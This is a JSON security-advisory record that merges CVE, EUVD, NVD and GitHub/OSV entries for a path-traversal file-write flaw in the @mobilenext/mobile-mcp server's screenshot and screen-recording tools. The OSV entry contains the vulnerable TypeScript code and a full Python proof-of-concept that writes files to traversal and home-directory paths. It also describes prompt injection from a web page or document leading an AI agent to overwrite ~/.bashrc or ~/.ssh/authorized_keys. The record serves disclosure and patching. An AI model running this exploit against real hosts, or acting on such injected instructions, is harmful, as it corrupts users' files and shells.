{"id":"GHSA-3p2m-h2v6-g9mx","revision":null,"records":[{"revision":"ec867ab83c4540acb550fb949ad39dd1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-33989","aliases":[],"title":"@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools","description":"Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue.","state":0,"publishedAt":"2026-03-27T22:03:01.801+00:00","modifiedAt":"2026-03-30T15:47:00.925+00:00","affected":[{"ecosystem":"Vendor product","name":"mobile-mcp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"mobile-next\",\n                    \"product\": \"mobile-mcp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.0.49\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx","https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b","https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-33989","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-33989","identifiers":["CVE-2026-33989"]},"retained":false,"historicalAffected":[]},{"revision":"25ff3549c9e84ba8884a3de6777b45f1","observedAt":"2026-11-01T06:05:10.469+00:00","statement":{"source":"euvd","id":"EUVD-2026-16882","aliases":["CVE-2026-33989","GHSA-3p2m-h2v6-g9mx"],"title":"Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` too…","description":"Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":8.1,"severity":null}],"references":["https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx","https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b","https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-16882","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Mar 27, 2026, 10:03:01 PM","dateUpdated":"Mar 30, 2026, 3:47:00 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-16882","identifiers":["EUVD-2026-16882","CVE-2026-33989","GHSA-3p2m-h2v6-g9mx"]},"retained":false,"historicalAffected":[]},{"revision":"6fbe80259f1146b392f4a1329e90c431","observedAt":"2026-10-27T09:03:00.507+00:00","statement":{"source":"nvd","id":"CVE-2026-33989","aliases":[],"title":"Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` too…","description":"Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue.","state":0,"publishedAt":"2026-03-27T22:16:22.95+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":8.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b","https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49","https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33989","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22","CWE-73"],"productCriteria":["cpe:2.3:a:mobilenexthq:mobile_mcp:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-03-27T22:16:22.950","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-33989","identifiers":["CVE-2026-33989"]},"retained":false,"historicalAffected":[]},{"revision":"a5080673546648daaee697f93b6d8896","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3p2m-h2v6-g9mx","aliases":["CVE-2026-33989"],"title":"@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools","description":"### Summary\nThe `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace.\n\n### Details\n**File:** `src/server.ts` (lines 584-592)\n\n```typescript\ntool(\n    \"mobile_save_screenshot\",\n    \"Save Screenshot\",\n    \"Save a screenshot of the mobile device to a file\",\n    {\n        device: z.string().describe(\"The device identifier...\"),\n        saveTo: z.string().describe(\"The path to save the screenshot to\"),\n    },\n    { destructiveHint: true },\n    async ({ device, saveTo }) => {\n        const robot = getRobotFromDevice(device);\n        const screenshot = await robot.getScreenshot();\n        fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation\n        return `Screenshot saved to: ${saveTo}`;\n    },\n);\n```\n\n### Root Cause\n\nThe `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**.\n\n### Additional Affected Tool\n\n**File:** `src/server.ts` (lines 597-620)\n\nThe `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter.\n\n### PoC\n```py\n#!/usr/bin/env python3\n\nimport json\nimport os\nimport subprocess\nimport sys\nimport time\nfrom datetime import datetime\n\nSERVER_CMD = [\"npx\", \"-y\", \"@mobilenext/mobile-mcp@latest\"]\nSTARTUP_DELAY = 4\nREQUEST_DELAY = 0.5\n\n\ndef log(level, msg):\n    print(f\"[{level.upper()}] {msg}\")\n\n\ndef send_jsonrpc(proc, msg, timeout=REQUEST_DELAY):\n    \"\"\"Send JSON-RPC message and receive response.\"\"\"\n    try:\n        proc.stdin.write(json.dumps(msg) + \"\\n\")\n        proc.stdin.flush()\n        time.sleep(timeout)\n        line = proc.stdout.readline()\n        return json.loads(line) if line else None\n    except Exception as e:\n        log(\"error\", f\"Communication error: {e}\")\n        return None\n\n\ndef send_notification(proc, method, params=None):\n    \"\"\"Send JSON-RPC notification (no response expected).\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if params:\n        msg[\"params\"] = params\n    proc.stdin.write(json.dumps(msg) + \"\\n\")\n    proc.stdin.flush()\n\n\ndef start_server():\n    \"\"\"Start the mobile-mcp server.\"\"\"\n    log(\"info\", \"Starting mobile-mcp server...\")\n\n    try:\n        proc = subprocess.Popen(\n            SERVER_CMD,\n            stdin=subprocess.PIPE,\n            stdout=subprocess.PIPE,\n            stderr=subprocess.PIPE,\n            text=True,\n        )\n        time.sleep(STARTUP_DELAY)\n\n        if proc.poll() is not None:\n            stderr = proc.stderr.read()\n            log(\"error\", f\"Server failed to start: {stderr[:200]}\")\n            return None\n\n        log(\"info\", f\"Server started (PID: {proc.pid})\")\n        return proc\n\n    except FileNotFoundError:\n        log(\"error\", \"npx not found. Please install Node.js\")\n        return None\n\n\ndef initialize_session(proc):\n    \"\"\"Initialize MCP session with handshake.\"\"\"\n    log(\"info\", \"Initializing MCP session...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 1,\n            \"method\": \"initialize\",\n            \"params\": {\n                \"protocolVersion\": \"2024-11-05\",\n                \"capabilities\": {},\n                \"clientInfo\": {\"name\": \"mcpsec-exploit\", \"version\": \"1.0\"},\n            },\n        },\n    )\n\n    if not resp or \"error\" in resp:\n        log(\"error\", f\"Initialize failed: {resp}\")\n        return False\n\n    send_notification(proc, \"notifications/initialized\")\n    time.sleep(0.5)\n\n    server_info = resp.get(\"result\", {}).get(\"serverInfo\", {})\n    log(\"info\", f\"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}\")\n    return True\n\n\ndef get_devices(proc):\n    \"\"\"Get list of connected devices.\"\"\"\n    log(\"info\", \"Enumerating connected devices...\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 2,\n            \"method\": \"tools/call\",\n            \"params\": {\"name\": \"mobile_list_available_devices\", \"arguments\": {}},\n        },\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\", \"\")\n        try:\n            devices = json.loads(content).get(\"devices\", [])\n            return devices\n        except:\n            log(\"warning\", f\"Could not parse device list: {content[:100]}\")\n\n    return []\n\n\ndef exploit_path_traversal(proc, device_id, target_path):\n    \"\"\"Execute path traversal exploit.\"\"\"\n    log(\"info\", f\"Target path: {target_path}\")\n\n    resp = send_jsonrpc(\n        proc,\n        {\n            \"jsonrpc\": \"2.0\",\n            \"id\": 100,\n            \"method\": \"tools/call\",\n            \"params\": {\n                \"name\": \"mobile_save_screenshot\",\n                \"arguments\": {\"device\": device_id, \"saveTo\": target_path},\n            },\n        },\n        timeout=2,\n    )\n\n    if resp:\n        content = resp.get(\"result\", {}).get(\"content\", [{}])\n        if isinstance(content, list) and content:\n            text = content[0].get(\"text\", \"\")\n            log(\"info\", f\"Server response: {text[:100]}\")\n\n            check_path = target_path\n            if target_path.startswith(\"..\"):\n                check_path = os.path.normpath(os.path.join(os.getcwd(), target_path))\n\n            if os.path.exists(check_path):\n                size = os.path.getsize(check_path)\n                log(\"info\", f\"FILE WRITTEN: {check_path} ({size} bytes)\")\n                return True, check_path, size\n            elif \"Screenshot saved\" in text:\n                log(\"info\", f\"Server confirmed write (file may be at relative path)\")\n                return True, target_path, 0\n\n    log(\"warning\", \"Exploit may have failed or file not accessible\")\n    return False, target_path, 0\n\n\ndef main():\n    device_id = sys.argv[1] if len(sys.argv) > 1 else None\n\n    proc = start_server()\n    if not proc:\n        sys.exit(1)\n\n    try:\n        if not initialize_session(proc):\n            sys.exit(1)\n\n        if not device_id:\n            devices = get_devices(proc)\n            if devices:\n                log(\"info\", f\"Found {len(devices)} device(s):\")\n                for d in devices:\n                    print(f\"  - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})\")\n                device_id = devices[0].get(\"id\")\n                log(\"info\", f\"Using device: {device_id}\")\n            else:\n                log(\"error\", \"No devices found. Please connect a device and try again.\")\n                log(\"info\", \"Usage: python3 exploit.py <device_id>\")\n                sys.exit(1)\n\n        home = os.path.expanduser(\"~\")\n\n        exploits = [\n            \"../../exploit_2_traversal.png\",\n            f\"{home}/exploit.png\",\n            f\"{home}/.poc_dotfile\",\n        ]\n\n        results = []\n        for target in exploits:\n            success, path, size = exploit_path_traversal(proc, device_id, target)\n            results.append((target, success, path, size))\n\n    finally:\n        proc.terminate()\n        log(\"info\", \"Server terminated.\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\nA Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.","state":0,"publishedAt":"2026-03-27T19:13:17+00:00","modifiedAt":"2026-03-30T20:34:59.800002+00:00","affected":[{"ecosystem":"npm","name":"@mobilenext/mobile-mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.49"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mx","https://nvd.nist.gov/vuln/detail/CVE-2026-33989","https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153b","https://github.com/mobile-next/mobile-mcp","https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49"],"sourceUrl":"https://github.com/advisories/GHSA-3p2m-h2v6-g9mx","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3p2m-h2v6-g9mx","identifiers":["GHSA-3p2m-h2v6-g9mx","CVE-2026-33989"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5916126+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5916133+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-aece262bb10a694367a43c24d730aa8e8dc171723eaec4c15cdd32f04bda103f-d5c3ebbfb28a03509d20973fbb2330bc7b9e252e9828be2e66ae9aea69b49ce1","complete":true,"records":417669,"lastAttemptAt":"2026-11-01T18:57:22.5530729+00:00","lastSuccessAt":"2026-11-01T18:57:22.2751752+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.5530729+00:00","snapshotPublishedAt":"2026-11-01T18:27:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-35b3277f93af45a38903f87f33008ff6","complete":false,"records":13568,"lastAttemptAt":"2026-11-01T18:09:13.7653963+00:00","lastSuccessAt":"2026-11-01T18:09:13.759+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:09:13.759+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13449,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-01T17:57:21.4096656+00:00","complete":true,"records":1095,"lastAttemptAt":"2026-11-01T17:57:21.4096656+00:00","lastSuccessAt":"2026-11-01T17:57:21.5924164+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.5924166+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-7045ba394160400f8f8ae145a6052ae9","complete":true,"records":13580,"lastAttemptAt":"2026-11-01T17:57:28.2948021+00:00","lastSuccessAt":"2026-11-01T17:57:28.288+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:28.288+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-11-01T17:57:21.3611317+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3611317+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-11-01T18:57:22.7482139+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-11-01T18:57:22.7482139+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-11-01T17:57:21.3756349+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.3756349+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-55acacd40a7aab88cf530cfddf98233a5d800cfc6bb1883653ecf5bee50f4426","complete":true,"records":230996,"lastAttemptAt":"2026-11-01T18:57:28.78235+00:00","lastSuccessAt":"2026-11-01T09:06:49.6961926+00:00","error":null,"lastVerifiedAt":"2026-11-01T17:57:21.1761784+00:00","snapshotPublishedAt":"2026-11-01T08:33:39+00:00","importing":true,"stagedRecords":230997,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}